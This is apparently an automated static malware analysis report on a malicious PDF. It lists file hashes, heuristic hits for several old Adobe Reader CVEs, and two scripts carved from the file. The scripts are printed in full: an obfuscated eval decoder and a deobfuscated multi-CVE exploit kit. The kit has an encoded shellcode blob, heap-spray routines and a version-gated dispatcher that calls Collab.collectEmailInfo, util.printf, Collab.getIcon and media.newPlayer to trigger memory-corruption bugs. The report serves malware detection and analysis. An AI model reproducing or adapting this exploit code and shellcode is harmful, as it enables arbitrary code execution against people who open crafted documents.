Malicious PDF — malware analysis report

Static analysis result for SHA-256 d571f0d18ea4538c…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 6b15c76169a834da0c4bb3b5948af59c SHA-1: 623a1093401b9a065acfdf5a5c381a9c0dc09ac0 SHA-256: d571f0d18ea4538c76d09cfd55357751a6747764c87890cfd91139d51ca8f3f6
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB009 448 bytes
SHA-256: 7e7373c43854775f45d12d182c42dff3dbb20cd0c1b30901f19fbe8a801cdc30
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
biuz='';
blml=('qwrwqr','tit');
e('vondl=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
muqhc=e('String.fro'+vondl.substr(0,9));
vxv = e(vondl.substr(9)['replace'](/u/g,','));
e('k=vxv.length');
for (i = 0; i < k; i+=2) {
	fhnml = vxv[i+1] + ('erybjkerl',vxv[i]);
	biuz += muqhc(fhnml);
}
e(biuz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: ff02722449695626e7b65c79c535c3365913a7dc553efbcb0bac14e3e10bce50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2c34%ue2aa%uc3fa%ue5e8%uffff%uc5ff%u2d20%u2c2c%uad72%u70c0%u2c2d%ua52c%ua1cb%u3c63%u43a1%u1d78%u7bf7%u7f7d%u7f7f%u7f7f%u7f7f%u7f79%u447f%u2d28%u2c2c%u7a79%u447f%u4243%u2c2c%u5944%u405e%u7841%ua244%u2262%uc4c0%u2c64%u2c2c%uc47c%u2c50%u2c2c%ufcd3%ue8af%u4424%uc363%u2963%uc47c%u2c40%u2c2c%ufcd3%ueca9%u3b59%u7846%udf75%u4486%ud25e%u3a9f%u31c4%u2c2c%u7c2c%u7dc4%u2c2c%ud32c%u7ffc%ud246%ua544%u2d43%uc491%u2c24%u2c2c%uc47c%u2c10%u2c2c%ufcd3%u1d4c%u48ec%u7ca7%ua71c%u207e%u7ea7%ua738%u045e%u3495%u2c2c%u1d2c%u1dd3%u80ec%u4d10%u2e50%u0c00%ue3ed%u2d21%uceeb%uaddc%u77d3%u6690%ua746%u3c6e%u3ea7%uf559%u68a5%u3008%uef4d%ua74c%u0840%ua708%u1069%u78a7%u5429%uc62d%u66a7%ua734%u0c76%uc72d%u18cf%ua765%ua718%uc22d%ud31d%uec1d%u80d0%ueca8%u2b58%ue3ed%u2d21%uc7eb%u17d8%u0850%u5904%ua7cd%u0876%uc72d%ua74a%u6720%u76a7%u2d30%ua7c7%ua728%uc42d%u68a5%u3008%uee4d%u2c24%uc3c4%ud3d2%u44d3%u5858%u165c%u0303%u404d%u564d%u5e4d%u495e%u0248%u4245%u434a%u4803%u5c02%u5c44%u4a13%u1f11%u0a1e%u1149%u2c19';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}